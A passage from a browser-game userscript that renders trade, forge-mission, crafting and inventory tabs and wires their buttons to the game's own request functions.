					+ '		<br /><div class="' + UID['scrollable'] + '" id='+setUID('tabTrade_BuyTable')+'>'
					+ '		</div>'
					+ '</div>';
					
				document.getElementById(UID['tabJobTrade_Content']).innerHTML = m;
				document.getElementById(UID['tabTrade_RefresTableBuy']).addEventListener('click', searchForBuy, false);
				
				document.getElementById(UID['tabTrade_BuyResource']).addEventListener('change', changeResource, false);
				document.getElementById(UID['tabTrade_QtyMin']).addEventListener('keyup', changeQty, false);
				document.getElementById(UID['tabTrade_PriceMax']).addEventListener('keyup', changePrice, false);
				
				function changeQty(event) {
					var x = toNum(event.target.value);
					event.target.value = x;
					Data.options.trade.buy.qty = x;
				}
				
				function changePrice(event) {
					var x = toNum(event.target.value);
					event.target.value = x;
					Data.options.trade.buy.price = x;
				}
				
				function changeResource() {
					Data.options.trade.buy.resource = document.getElementById(UID['tabTrade_BuyResource']).value;
				}
				
				function searchForBuy() {
					var product = document.getElementById(UID['tabTrade_BuyResource']).value;
					var nbProduct = document.getElementById(UID['tabTrade_QtyMin']).value;
					var upperPrice = document.getElementById(UID['tabTrade_PriceMax']).value;
					new MyAjax.tradeSearch(product, nbProduct, upperPrice, updateTableBuy);
				}
				
				function buyResource(event) {
					var idTrade = event.target.getAttribute('ref');
					new MyAjax.tradeBuy(idTrade, function(result) {
						if (!result.ok) {
							document.getElementById(UID['tabJobTrade_Feedback']).innerHTML = result.errmsg;
						}
						else {
							searchForBuy()
						}
					});
				}
				
				function updateTableBuy(result) {
					var m = '<table class=' + UID['row_style'] + ' width=100%>' 
					+ '<tr class=' + UID['row_headers'] + '>' 
					+ '<td>' + translate('resource') + '</td>' 
					+ '<td>' + translate('price') + '</td>' 
					+ '<td>' + translate('quantity') + '</td>'
					+ '<td>' + translate('seller') + '</td>'
					+ '<td>' + translate('buy') + '</td>'					
					+ '</tr>';
					
					var bT = [];
					
					for(var offer=0; offer < result.offers.length; offer++) {
						setUID('tradeOffer_'+result.offers[offer].id);
						bT.push(UID['tradeOffer_'+result.offers[offer].id]);
						m += '<tr>' 
							+ '<td>' + translate(result.offers[offer].product) + '</td>' 
							+ '<td align=right>' + numf(result.offers[offer].price) + '</td>' 
							+ '<td align=right>' + numf(result.offers[offer].units) + '</td>'
							+ '<td align=center>' + result.offers[offer].seller.name + '( ' + numf(result.offers[offer].seller.might) + ' )' + '</td>'
							+ '<td>' + '<input class=Xtrasmall id="' + UID['tradeOffer_'+result.offers[offer].id] + '" ref="' + result.offers[offer].id + '" type=button  style="width:auto !important;" value="' + translate('buy') + '" \>' + '</td>'					
							+ '</tr>';
					}
					m += '</table>';
					
					document.getElementById(UID['tabTrade_BuyTable']).innerHTML = m;
					
					for(var i=0; i<bT.length ; i++) {
						document.getElementById(bT[i]).addEventListener('click', buyResource, false);
					}
				}
				
			},

			/** * sell sub tab */
			tabJobTradeSell: function() {
				var t = Tabs.Jobs;

				document.getElementById(UID['tabJobTrade_tabBuy']).className = '';
				document.getElementById(UID['tabJobTrade_tabBuy']).style.zIndex = 0;
				document.getElementById(UID['tabJobTrade_tabSell']).className = 'selected';
				document.getElementById(UID['tabJobTrade_tabSell']).style.zIndex = 1;

				t.tradeContentType = 1;
				
				var m = '<div class=' + UID['status_ticker'] + ' style="margin-top:6px !important">' 
					+ '		<div class=' + UID['subtitle'] + '>' + translate('trade') + ' - <b>' + translate('sell') + '</b></div>'
					+ '		<table><tr><td align=right>'
					+ translate('resource') + ' : </td><td> <select id='+setUID('tabTrade_SellResource')+' >';
				
				for (var p = 0; p < trade_resource_types.length; p++) {
					m += '<option value="' + trade_resource_types[p] + '" '+ (Data.options.trade.sell.resource == trade_resource_types[p] ? 'selected' : '') +' >' + translate(trade_resource_types[p]) + '</option>';
				}
				
				m += '		</select></td></tr>' 
					+ '		<tr><td align=right>' + translate('price') + ' : </td><td> <input type=text id='+setUID('tabTrade_Price')+' style="width:70px" value="' + Data.options.trade.sell.price + '" /> <span id="'+setUID('tabTrade_SellPriceForSell')+'">' + translate('sellers-fee') + ' : ' + numf(Math.round(toNum(Data.options.trade.sell.price)*5/1000)) + '</span></td></tr>'
					+ '		<tr><td align=right>' + translate('quantity') + ' : </td><td> <input type=text id='+setUID('tabTrade_Quantity')+' style="width:70px" value="' + Data.options.trade.sell.qty + '" /></td></tr></table>'
					+ '		<center><input value="' + translate('sell') + '" id=' + setUID('tabTrade_SellInTrade') + ' type=button /></center><br/>'
					+ '		<div class=' + UID['subtitle'] + '>' + translate('currently-selling') + '(' + translate('expires-in-one-week') + ')</div><br/>'
					+ '		<center><input value="' + translate('Refresh') + '" id=' + setUID('tabTrade_RefreshSellInTrade') + ' type=button /></center><br/>'
					+ '		<div class="' + UID['scrollable'] + '" id='+setUID('tabTrade_SellTable')+'>'
					+ '		</div>'
					+ '</div>';

				document.getElementById(UID['tabJobTrade_Content']).innerHTML = m;
				document.getElementById(UID['tabTrade_SellInTrade']).addEventListener('click', sellInTrade, false);
				
				document.getElementById(UID['tabTrade_SellResource']).addEventListener('change', changeResource, false);
				document.getElementById(UID['tabTrade_Quantity']).addEventListener('change', changeQty, false);
				document.getElementById(UID['tabTrade_Price']).addEventListener('change', changePrice, false);
				document.getElementById(UID['tabTrade_RefreshSellInTrade']).addEventListener('click', getSellInTrade, false);
				
				function changeQty(event) {
					var x = toNum(event.target.value);
					event.target.value = x;
					Data.options.trade.sell.qty = x;
				}
				
				function changePrice(event) {
					var x = toNum(event.target.value);
					event.target.value = x;
					Data.options.trade.sell.price = x;
					document.getElementById(UID['tabTrade_SellPriceForSell']).innerHTML = translate('sellers-fee') + ' : ' + numf(Math.round(x*5/1000));
				}
				
				function changeResource() {
					Data.options.trade.sell.resource = document.getElementById(UID['tabTrade_SellResource']).value;
				}
				
				function getSellInTrade() {
					new MyAjax.tradeSearchSell(updateTableSell);
				}
				
				function sellInTrade() {
					var product = document.getElementById(UID['tabTrade_SellResource']).value;
					var nbProduct = document.getElementById(UID['tabTrade_Quantity']).value;
					var price = document.getElementById(UID['tabTrade_Price']).value;
					new MyAjax.tradeSell(product, nbProduct, price, function(result) {
						if(result.success) {
							document.getElementById(UID['tabJobTrade_Feedback']).innerHTML = translate('OK');
							getSellInTrade();
						}
						else 
							document.getElementById(UID['tabJobTrade_Feedback']).innerHTML = result.reason;
					});
				}
				
				function updateTableSell(result) {
					var m = '<table class=' + UID['row_style'] + ' width=100%>' 
					+ '<tr class=' + UID['row_headers'] + '>' 
					+ '<td>' + translate('resource') + '</td>' 
					+ '<td>' + translate('price') + '</td>' 
					+ '<td>' + translate('quantity') + '</td>'
                    + '<td>' + translate('cancel') + '</td>'
					+ '</tr>';
					var bct = [];
					for(var offer=0; offer < result.player_sells.length; offer++) {
						m += '<tr>' 
							+ '<td>' + translate(result.player_sells[offer].product) + '</td>' 
							+ '<td align=right>' + numf(result.player_sells[offer].price) + '</td>' 
							+ '<td align=right>' + numf(result.player_sells[offer].units) + '</td>'
                            + '<td align=center><input class="Xtrasmall '+UID['btn_red']+'" id="'+setUID(result.player_sells[offer].id)+'" ref="'+result.player_sells[offer].id+'" type="button" style="width:auto !important;" value=" X "></td>' 
							+ '</tr>';
                        bct.push(result.player_sells[offer].id);
					}
					m += '</table>';
					document.getElementById(UID['tabTrade_SellTable']).innerHTML = m;
                    for(var i=0; i<bct.length; i++) {
                        document.getElementById(UID[bct[i]]).addEventListener('click', function(event) {
                            var idTrade = event.target.getAttribute('ref');
                            MyAjax.tradeCancel(idTrade, getSellInTrade)
                        }, false);
                    }
				}
				
			},
			
			/** * Jobs Tab - Forge Sub-tab ** */
			tabJobForge: function() {
				var t = Tabs.Jobs;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabJobForge']).className = 'selected';
				document.getElementById(UID['tabJobForge']).style.zIndex = 1;
				
				t.lastSubTab = 'tabJobForge';
				t.contentType = 8;
				
				var n = '<div class=' + UID['title'] + '>' + translateByKey('forge', null, 'dialogs') + '</div>' + '<div class=' + UID['status_ticker'] + '>' 
						+ '	<div id=' + setUID('tabJobForge_Report') + ' class=' + UID['status_report'] + '>'
						+ '		<center><input id=' + setUID('tabJobForge_OnOff') + ' type=button /></center>'
						+ '		<table id=' + setUID('tabJobForge_Table') + ' class=' + UID['table'] + '>' 
						+ '		</table>' 
						+ '	</div><br>' 
						+ '	<div id=' + setUID('tabJobForge_Feedback') + ' class=' + UID['status_feedback'] + '></div>' 
						+ '</div>'
						+ '<ul class=tabs>' 
						+ '	<li class="tab first"><a id=' + setUID('tabJobForge_tabAdventurers') + '>' + translate('adventurers') + '</a></li>' 
						+ '	<li class="tab"><a id=' + setUID('tabJobForge_tabForge') + '>' + translateByKey('forge', null, 'dialogs') + '</a></li>'
						+ '	<li class="tab"><a id=' + setUID('tabJobForge_tabInventory') + '>' + translate('items-panel') + '</a></li>'
						+ '	<li class="tab"><a id=' + setUID('tabJobForge_tabStats') + '>' + translate('Stats') + '</a></li>'						
						+ '</ul>';

				document.getElementById(UID['tabJob_Header']).style.height = "205px";
				document.getElementById(UID['tabJob_Header']).innerHTML = n;
				document.getElementById(UID['tabJob_Content']).innerHTML = '<div id=' + setUID('tabJobForge_Content') + '></div>';
				document.getElementById(UID['tabJob_Content']).style.height = "455px";
				document.getElementById(UID['tabJobForge_tabAdventurers']).addEventListener('click', t.tabJobForgeAdventurers, false);
				document.getElementById(UID['tabJobForge_tabForge']).addEventListener('click', t.tabJobForgeForge, false);
				document.getElementById(UID['tabJobForge_tabInventory']).addEventListener('click', t.tabJobForge_tabInventory, false);
				document.getElementById(UID['tabJobForge_tabStats']).addEventListener('click', t.tabJobForge_tabStats, false);
				document.getElementById(UID['tabJobForge_OnOff']).addEventListener('click', function() {
					var t = Tabs.Jobs;
					t.setForgeMissionEnable(!Data.options.forge.enableAutoMission);
				}, false);
				
				t.refreshForgeButton(Data.options.forge.enableAutoMission);
				
				switch (t.forgeContentType) {
					case 0:
						t.tabJobForgeAdventurers();
						break;
					case 1:
						t.tabJobForgeForge();
						break;
					case 2:
						t.tabJobForge_tabInventory();
						break;
					case 3:
						t.tabJobForge_tabStats();
						break;
				}
				
				t.forgeStatTick();
				t.clearTimers();
				t.jobsStatTimer = setInterval(t.forgeStatTick, 1000);
			},
			
			/** * adventurers sub tab */
			tabJobForgeAdventurers: function() {
				var t = Tabs.Jobs;

				document.getElementById(UID['tabJobForge_tabForge']).className = '';
				document.getElementById(UID['tabJobForge_tabForge']).style.zIndex = 0;
				document.getElementById(UID['tabJobForge_tabInventory']).className = '';
				document.getElementById(UID['tabJobForge_tabInventory']).style.zIndex = 0;
				document.getElementById(UID['tabJobForge_tabStats']).className = '';
				document.getElementById(UID['tabJobForge_tabStats']).style.zIndex = 0;
				document.getElementById(UID['tabJobForge_tabAdventurers']).className = 'selected';
				document.getElementById(UID['tabJobForge_tabAdventurers']).style.zIndex = 1;

				t.forgeContentType = 0;
				var advs = Seed.player.forge.adventurers;
				var lBC = [], lBG = [], lS = [], lCB = [];
				var m = '<div class=' + UID['status_ticker'] + ' style="margin-top:6px !important">';
				
				for(var i=0;i<advs.length;i++) {
					var inMission=(Jobs.getJobs(Forge.data.adventurers[advs[i].type].queue, false, -1).length > 0 ? true : false); 
					var isClaimable=(inMission ? false : (advs[i].current_mission == null ? false : true));
					var adventurer = translate('adventurer-'+advs[i].type.toLowerCase());
					
					m += '<div class=' + UID['subtitle'] + '><b>' + adventurer + getXPNextLevel(advs[i].experience, advs[i].type)+ '</b></div>';
					m += '<table><tr><td><INPUT type="checkbox" id="'+setUID('ckAdv_' + advs[i].type)+'" ref="'+advs[i].type+'" '+(Data.options.forge[advs[i].type].cbAuto ? 'checked' : '')+'> ';
					m += translate('missions') + ' : <SELECT ref="'+advs[i].type+'_'+advs[i].adventurer_id+'" id='+setUID('selMission_' + advs[i].type)+'>';
					for(var missionN in Forge.data.missions){
						var mission = Forge.data.missions[missionN];
						m += '<option value="'+mission.type+'" '+(Data.options.forge[advs[i].type].mission==mission.type ?  'selected' : '')+'>'+translate('mission-'+mission.type.replace(/_/g, '-'))+'</option>';
					}
					m += '</SELECT> </td>';
					m += '<td align=right> <input class="Xtrasmall '+UID['btn_blue']+'" id="'+setUID('btnMissionAdvGo_'+advs[i].adventurer_id)+'" ref="'+advs[i].type+'_'+advs[i].adventurer_id+'" type="button" style="width:auto !important;" value="'+translate('missions-begin')+'"></td>';
					m += '<td align=right> <input class="Xtrasmall '+UID['btn_blue']+'" id="'+setUID('btnMissionAdvClaim_'+advs[i].adventurer_id)+'" ref="'+advs[i].adventurer_id+'_'+(isClaimable ? advs[i].current_mission.replace(/_/g, "-") : '')+'" type="button" style="width:auto !important;" value="'+translate('adventurer-claimable')+'"></td>';
					m += '</tr>';
					m += '</table>';
					m += '<span id='+setUID(advs[i].type+'_descMission')+'></span>';
					
					lBG.push('btnMissionAdvGo_'+advs[i].adventurer_id);
					lBC.push('btnMissionAdvClaim_'+advs[i].adventurer_id);
					lS.push('selMission_' + advs[i].type);
					lCB.push('ckAdv_' + advs[i].type);
				}
					
				m += '</div>';
				
				document.getElementById(UID['tabJobForge_Content']).innerHTML = m;
				
				for(var i=0; i<lS.length ; i++) {
					document.getElementById(UID[lS[i]]).addEventListener('change', onChangeMission, false);
					if(document.getElementById(UID[lBG[i]]))
						document.getElementById(UID[lBG[i]]).addEventListener('click', doMission, false);
					if(document.getElementById(UID[lBC[i]]))
						document.getElementById(UID[lBC[i]]).addEventListener('click', claimMission, false);
					document.getElementById(UID[lCB[i]]).addEventListener('click', checkedAdventurer, false);
					document.getElementById(UID[lCB[i]]).addEventListener('change', checkedAdventurer, false);
					
					var evt = document.createEvent('HTMLEvents');
					evt.initEvent('change', true, true);
					document.getElementById(UID[lS[i]]).dispatchEvent(evt);
				}
				
				function checkedAdventurer(event) {
					var advType = event.target.getAttribute('ref');
					Data.options.forge[advType].cbAuto = event.target.checked;
				}
				
				function onChangeMission(event) {
					var ref = event.target.getAttribute('ref').split('_');
					var idSel = UID['selMission_'+ref[0]+'_'+ref[1]];
					var missionType = event.target.options[event.target.selectedIndex].value;
					var mission = Forge.data.missions[missionType];
					
					Data.options.forge[ref[0]].mission = missionType;
					
					var ret = '<table>';
					ret += '<tr><td align=right><b>XP</b>&nbsp;:&nbsp;</td><td> '+mission.experience+'</td></tr>';
					ret += '<tr><td align=right><b>'+translate('type')+'</b>&nbsp;:&nbsp;</td><td> '+(mission.mission_type==null ? '' : translate('forge-'+mission.mission_type.toLowerCase()))+'</td></tr>';
					var lDrop = '';
					var first = true;
					for(var i=0; i<mission.drops.length ; i++) {
						if(mission.drops[i] != 'no_drop') {
							lDrop += (first ? '' : ', ') + translate(mission.drops[i]);
							first = false;
						}
						
					}
					ret += '<tr><td align=right><b>'+translate('missions-chance-to-find').replace(/ /g, '&nbsp;')+'</b>&nbsp;:&nbsp;</td><td>'+lDrop+'</td></tr>';
					
					var pr = '<table>';
					if(mission.requirements.adventurer_level != 0) {
						pr += '<tr><td align=right>'+translate('adventurers')+'&nbsp;:&nbsp;</td><td>'+mission.requirements.adventurer_level+'</td></tr>';
					}
					if(!Array.isArray(mission.requirements.items)) {
						for(var it in mission.requirements.items) {
							var qtyP = 0;
							var ing = Seed.player.forge.items.ingredients;
							for(var i=0;i<ing.length;i++) {
								if(ing[i].name==it) {
									qtyP=ing[i].quantity;
									break;
								}
							}
							pr += '<tr><td align=right>'+translate(it.toLowerCase())+'</td><td>&nbsp;:&nbsp;'+(qtyP<mission.requirements.items[it] ? '<font color="#C33">' : '')+qtyP+'&nbsp;/&nbsp;'+mission.requirements.items[it]+(qtyP<mission.requirements.items[it] ? '</font>' : '')+'</td></tr>';
						}
					}
					pr += '</table>';
					ret += '<tr><td align=right><b>'+translate('requirements')+'</b>&nbsp;:&nbsp;</td><td>'+pr+'</td></tr>';
					ret += '</table>';
					document.getElementById(UID[ref[0]+'_descMission']).innerHTML = ret;
				}
								
				function getXPNextLevel(nbXp, type) {
					var j=0;
					var ret = '';
					if(nbXp >= 20000) {
						ret = ' ( Lvl : 10, Xp : ' + nbXp + ')';
					}
					else {
						var first = true;
						var lvlXpBefore = 0;
						var nextLvlXp = 0
						for(var i in Forge.data.adventurers[type].level_exp){
							if(!first) {
								lvlXpBefore = nextLvlXp;
							}
							first = false;
							nextLvlXp = Forge.data.adventurers[type].level_exp[i];
							if(nbXp<nextLvlXp) {
								if(j != 0)
									j = j-1;
								ret = ' ( Lvl : ' + j + ', Xp : ' + (nbXp-lvlXpBefore) + ' / ' + (nextLvlXp-lvlXpBefore) + ')';
								break;
							}
							j++;
						}
					}
					return ret;
				}
			
				function doMission(event) {
					var ref = event.target.getAttribute('ref').split('_');
					var idSel = UID['selMission_'+ref[0]];
					var missionType = Data.options.forge[ref[0]].mission;
					
					Tabs.Jobs.doMission(missionType, ref[1]);
				}
				
				function claimMission(event) {
					var ref = event.target.getAttribute('ref').split('_');
					var missionType = '';
					
					for(var i=0;i<Seed.player.forge.adventurers.length;i++) {
						if(Seed.player.forge.adventurers[i].adventurer_id == ref[0]) {
							missionType = Seed.player.forge.adventurers[i].current_mission;
							break;
						}
					}
					
					Tabs.Jobs.doClaim(missionType, ref[0]);
				}
			},

			/** * forge sub tab */
			tabJobForgeForge: function() {
				var t = Tabs.Jobs;

				document.getElementById(UID['tabJobForge_tabAdventurers']).className = '';
				document.getElementById(UID['tabJobForge_tabAdventurers']).style.zIndex = 0;
				document.getElementById(UID['tabJobForge_tabInventory']).className = '';
				document.getElementById(UID['tabJobForge_tabInventory']).style.zIndex = 0;
				document.getElementById(UID['tabJobForge_tabStats']).className = '';
				document.getElementById(UID['tabJobForge_tabStats']).style.zIndex = 0;
				document.getElementById(UID['tabJobForge_tabForge']).className = 'selected';
				document.getElementById(UID['tabJobForge_tabForge']).style.zIndex = 1;

				t.forgeContentType = 1;
				
				var m = '<div class=' + UID['status_ticker'] + ' style="margin-top:6px !important">' 
					+ '		<div class=' + UID['subtitle'] + '>' + translateByKey('forge', null, 'dialogs') + '</div>';
				var n = '<table>'
					+ '	<tr>'
					+ '		<td><INPUT type="checkbox" ref="ingredient" id="'+setUID('ckForge_Ingredients')+'" '+(Data.options.forge.ingredient.cbAuto ? 'checked' : '')+'></td>'
					+ '		<td>' + getSelect("ingredient") + '</td>'
					+ '		<td>&nbsp;<input ref="ingredient" id="'+setUID('txtForge_MaxIngredients')+'" class="short" type="textbox" value="'+(Data.options.forge.ingredient.max)+'">'
					+ '		<td>&nbsp;<input ref="ingredient" class="Xtrasmall '+UID['btn_blue']+'" id="'+setUID('btnForge_Ingredient')+'" type="button" style="width:auto !important;" value="'+translateByKey('forge', null, 'dialogs')+' !"></td>'
					+ '	</tr>'
					+ '<tr><td colspan=4>&nbsp;</td></tr>'
					+ '	<tr>'
					+ '		<td>'+translate('requirements')+'&nbsp;:&nbsp;</td>'
					+ '		<td colspan=3><span id="'+setUID('tabForgeForge_Req_ingredient')+'"></span></td>'
					+ '	</tr>'
					+ '<tr><td colspan=4>&nbsp;</td></tr>'
					+ '	<tr>'
					+ '		<td><INPUT type="checkbox" ref="equipment" id="'+setUID('ckForge_Equipements')+'" '+(Data.options.forge.equipment.cbAuto ? 'checked' : '')+'></td>'
					+ '		<td>' + getSelect("equipment") + '</td>'
					+ '		<td>&nbsp;<input  ref="equipment" id="'+setUID('txtForge_MaxEquipments')+'" class="short" type="textbox" value="'+(Data.options.forge.equipment.max)+'">'
					+ '		<td>&nbsp;<input  ref="equipment" class="Xtrasmall '+UID['btn_blue']+'" id="'+setUID('btnForge_Equipement')+'" type="button" style="width:auto !important;" value="'+translateByKey('forge', null, 'dialogs')+' !"></td>'
					+ '	</tr>'
					+ '<tr><td colspan=4>&nbsp;</td></tr>'
					+ '	<tr>'
					+ '		<td>'+translate('requirements')+'&nbsp;:&nbsp;</td>'
					+ '		<td colspan=3><span id="'+setUID('tabForgeForge_Req_equipment')+'"></span></td>'
					+ '	</tr>'
					+ '</table>'
					+ '		<div class=' + UID['subtitle'] + '>' + translate('forge-crush') + '</div>'
					+ '<table>'
					+ '	<tr>'
					+ '		<td><INPUT ref="crush" type="checkbox" id="'+setUID('ckForge_Crush')+'" '+(Data.options.forge.crush.cbAuto ? 'checked' : '')+'></td>'
					+ '		<td>' + getCrushSelect() + '</td>'
					+ '		<td>&nbsp;<input ref="crush" id="'+setUID('txtForgeCrush_Max')+'" class="short" type="textbox" value="'+(Data.options.forge.crush.max)+'">'
					+ '		<td>&nbsp;<input ref="crush" class="Xtrasmall '+UID['btn_blue']+'" id="'+setUID('btnForgeCrush')+'" type="button" style="width:auto !important;" value="'+translate('forge-crush')+' !"></td>'
					+ '	</tr>'
					+ '</table>';
				//m += n;
				m += '		<div class=' + UID['subtitle'] + '>' + translate('forge-blacksmith') + '<span id=' + setUID('blacksmith_lvl') + '></span></div>'
					+ '		<table>'
					+ '		<tr><td>&nbsp;</td><td>&nbsp;</td></tr>'
					+ '			<tr>'
					+ '				<td>'+translate('forge-repair-hammer')+' : <span id='+setUID('blacksmith_durability')+'></span></td>'
					+ '				<td>&nbsp;&nbsp;&nbsp;<input class="Xtrasmall '+UID['btn_blue']+'" id="'+setUID('btnHammerRepair')+'" type="button" style="width:auto !important;" value="'+translate('blacksmith-repair')+'"></td></tr>'
					+ '		</table>'
					+ '</div>';

				document.getElementById(UID['tabJobForge_Content']).innerHTML = m;
				document.getElementById(UID['btnHammerRepair']).addEventListener('click', lunchRepairHammer, false);
				if(document.getElementById(UID['txtForge_MaxIngredients'])) {
					document.getElementById(UID['txtForge_MaxIngredients']).addEventListener('change', onChangeQty, false);
					document.getElementById(UID['txtForge_MaxIngredients']).addEventListener('click', onChangeQty, false);
				}
				if(document.getElementById(UID['txtForge_MaxEquipments'])) {
					document.getElementById(UID['txtForge_MaxEquipments']).addEventListener('change', onChangeQty, false);
					document.getElementById(UID['txtForge_MaxEquipments']).addEventListener('click', onChangeQty, false);
				}
				if(document.getElementById(UID['txtForgeCrush_Max'])) {
					document.getElementById(UID['txtForgeCrush_Max']).addEventListener('change', onChangeQty, false);
					document.getElementById(UID['txtForgeCrush_Max']).addEventListener('click', onChangeQty, false);
				}
				if(document.getElementById(UID['ckForge_Ingredients'])) {
					document.getElementById(UID['ckForge_Ingredients']).addEventListener('change', checkedCb, false);
					document.getElementById(UID['ckForge_Ingredients']).addEventListener('click', checkedCb, false);
				}
				if(document.getElementById(UID['ckForge_Equipements'])) {
					document.getElementById(UID['ckForge_Equipements']).addEventListener('change', checkedCb, false);
					document.getElementById(UID['ckForge_Equipements']).addEventListener('click', checkedCb, false);
				}
				if(document.getElementById(UID['ckForge_Crush'])) {
					document.getElementById(UID['ckForge_Crush']).addEventListener('change', checkedCb, false);
					document.getElementById(UID['ckForge_Crush']).addEventListener('click', checkedCb, false);
				}
				if(document.getElementById(UID['selForgeCrush_equipment'])) {
					document.getElementById(UID['selForgeCrush_equipment']).addEventListener('change', onChangeSelectCrush, false);
				}
				if(document.getElementById(UID['btnForge_Ingredient'])) {
					document.getElementById(UID['btnForge_Ingredient']).addEventListener('click', onClickForge, false);
				}
				if(document.getElementById(UID['btnForge_Equipement'])) {
					document.getElementById(UID['btnForge_Equipement']).addEventListener('click', onClickForge, false);
				}
				if(document.getElementById(UID['btnForgeCrush'])) {
					document.getElementById(UID['btnForgeCrush']).addEventListener('click', onClickCrush, false);
				}
				var evt = document.createEvent('HTMLEvents');
				evt.initEvent('change', true, true);
				
				if(document.getElementById(UID['selForge_equipment'])) {
					document.getElementById(UID['selForge_equipment']).addEventListener('change', onChangeSelect, false);
					document.getElementById(UID['selForge_equipment']).dispatchEvent(evt);
				}
				if(document.getElementById(UID['selForge_equipment'])) {
					document.getElementById(UID['selForge_ingredient']).addEventListener('change', onChangeSelect, false);
					document.getElementById(UID['selForge_ingredient']).dispatchEvent(evt);
				}
				
				MyAjax.forgeInfo(function(rslt) {
					var j=0;
					var ret = '';
					var bs = Seed.blacksmith;
					if(bs.experience >= 20000) {
						ret = ' ( Lvl : 10, Xp : ' + bs.experience + ')';
					} else {
						for(var i in Forge.data.blacksmith_experience){
							var nextLvlXp = Forge.data.blacksmith_experience[i];
							if(bs.experience<nextLvlXp) {
								if(j != 0)
									j = j-1;
								ret = ' ( Lvl : ' + j + ', Xp : ' + bs.experience + ' / ' + nextLvlXp + ')';
								break;
							}
							j++;
						}
					}
					document.getElementById(UID['blacksmith_lvl']).innerHTML = ret;
					
					for(var i in Forge.data.hammer_durability){
						if(i == bs.level) {
							var maxDura = Forge.data.hammer_durability[i];
							ret = bs.durability+' / ' +maxDura;
							if(bs.durability==maxDura)
								bs.available = false;
							setButtonStyle($(UID['btnHammerRepair']), (bs.available), 'btn_blue', 'btn_disabled');
							break;
						}
					}
					document.getElementById(UID['blacksmith_durability']).innerHTML = ret;
				});
			
				function lunchRepairHammer() {
					MyAjax.repairHammer(cb);
					
					function cb(rslt) {
						if(rslt.dat.result.success) {
							setButtonStyle(document.getElementById(UID['btnHammerRepair']), (rslt.dat.result.blacksmith.available), 'btn_blue', 'btn_disabled');
						}
					}
				}
				function getSelect(type) {
					var ret = translate('filter-'+type) + '&nbsp;:&nbsp;<SELECT id='+setUID('selForge_'+type)+' ref="'+type+'">';
					for(var item in Forge.data.items){
						if(Forge.data.items[item].type == type)
							ret += '<option value="'+item+'" '+(Data.options.forge[type].select==item ?  'selected' : '')+'>'+translate(item.toLowerCase())+'</option>';
					}
					ret += '</SELECT>';
					return ret;
				}
				function getCrushSelect() {
				    var eq = Seed.player.forge.items.equipments;
					var ret = translate('filter-equipment') + '&nbsp;:&nbsp;<SELECT id='+setUID('selForgeCrush_equipment')+'>';
					for(var i=0;i<eq.length;i++){
						ret += '<option value="'+eq[i].name+'" '+(Data.options.forge.crush.select==eq[i].name ?  'selected' : '')+'>'+translate(eq[i].name.toLowerCase())+'</option>';
					}
					ret += '</SELECT>';
					return ret;
				}
				function onChangeSelect(event) {
					var type = document.getElementById(event.target.id).readAttribute('ref');
					var nameItem = event.target.options[event.target.selectedIndex].value;
					var reqItem = Forge.data.recipes[nameItem].requirements;
					
					Data.options.forge[type].select = nameItem;
					
					var ret = '<table>';
					if(reqItem.blacksmith_level)
						ret += '<tr><td align=right><b>'+translate('forge-blacksmith')+'</b>&nbsp;:&nbsp;</td><td> '+(reqItem.blacksmith_level)+'</td></tr>';
					var reqI = '<table>';
					for(var it in reqItem.items) {
						var ing = Seed.player.forge.items.ingredients;
						var qtyP = 0;
						
						for(var ii=0;ii<ing.length;ii++) {
							if(ing[ii].name==it) {
								qtyP=ing[ii].quantity;
								break;
							}
						}
						reqI += '<tr><td>'+translate(it.toLowerCase())+'&nbsp;:&nbsp;</td><td>'+(qtyP<reqItem.items[it] ? '<font color="#C33">' : '')+qtyP+'&nbsp;/&nbsp;'+reqItem.items[it]+(qtyP<reqItem.items[it] ? '</font>' : '')+'</td></tr>';
					}
					ret += '<tr><td align=right><b>'+translate('Items')+'</b>&nbsp;:&nbsp;</td><td>'+reqI+'</td></tr>';
					
					ret += '</table>';
					document.getElementById(UID['tabForgeForge_Req_'+type]).innerHTML = ret;
				}
				function onChangeSelectCrush(event) {
					Data.options.forge.crush.select = event.target.options[event.target.selectedIndex].value;
				}
				function checkedCb(event) {
					var type = event.target.getAttribute('ref');
					Data.options.forge[type].cbAuto = event.target.checked;
				}
				function onChangeQty(event) {
					var type = event.target.getAttribute('ref');
					var qty = toNum(event.target.value);
					
					if (isNaN(qty) || qty < 0) {
						event.target.style.backgroundColor = 'red';
						dispError(translate('Invalid number of '+type, t.container));
					} else {
						event.target.value = qty;
						Data.options.forge[type].max = qty;
						event.target.style.backgroundColor = '';
					}
				}
				function onClickForge(event) {
					var t=Tabs.Jobs;
					var type = event.target.getAttribute('ref');
					var nameItem = Data.options.forge[type].select;
					var req = Forge.checkForgeRequirements(nameItem, type+'s');
					if(!req.result) {
						var message=req.reason.join(', ');
						t.jobFeedback(translate('forge-blacksmith') + ' : ' + message);
					}
					else {
						t.forgeItem(nameItem, false);
					}
				}
				function onClickCrush(event) {
					var t=Tabs.Jobs;
					var nameItem = Data.options.forge.crush.select;
					t.crushItem(nameItem, false);
				}
			},
			
			/** * inventory sub tab */
			tabJobForge_tabInventory: function() {
				var t = Tabs.Jobs;

				document.getElementById(UID['tabJobForge_tabAdventurers']).className = '';
				document.getElementById(UID['tabJobForge_tabAdventurers']).style.zIndex = 0;
				document.getElementById(UID['tabJobForge_tabForge']).className = '';
				document.getElementById(UID['tabJobForge_tabForge']).style.zIndex = 0;
				document.getElementById(UID['tabJobForge_tabStats']).className = '';
				document.getElementById(UID['tabJobForge_tabStats']).style.zIndex = 0;
				document.getElementById(UID['tabJobForge_tabInventory']).className = 'selected';
				document.getElementById(UID['tabJobForge_tabInventory']).style.zIndex = 1;
				t.forgeContentType = 2;
				
				var m = '<div class=' + UID['status_ticker'] + ' style="margin-top:6px !important">' 
					+ '		<div class=' + UID['subtitle'] + '>' + translate('filter-equipment') + '</b></div><div id='+setUID('tabJobForge_tabInventory_equipment')+'></div>'
					+ '		<div class=' + UID['subtitle'] + '>' + translate('filter-ingredient') + '</b></div><div id='+setUID('tabJobForge_tabInventory_ingredient')+'></div>'
					+ '</div>';

				document.getElementById(UID['tabJobForge_Content']).innerHTML = m;
				
				document.getElementById(UID['tabJobForge_tabInventory_equipment']).innerHTML = getEquipment();
				document.getElementById(UID['tabJobForge_tabInventory_ingredient']).innerHTML = getIngredient();
				
				
				function getEquipment() {
					var items = Seed.player.forge.items.equipments;
					items.sort(function(a, b) {
							a = a.troop_type.toLowerCase();
							b = b.troop_type.toLowerCase();
							if (a > b) return 1;
							if (a < b) return -1;
							return 0;
						}); 
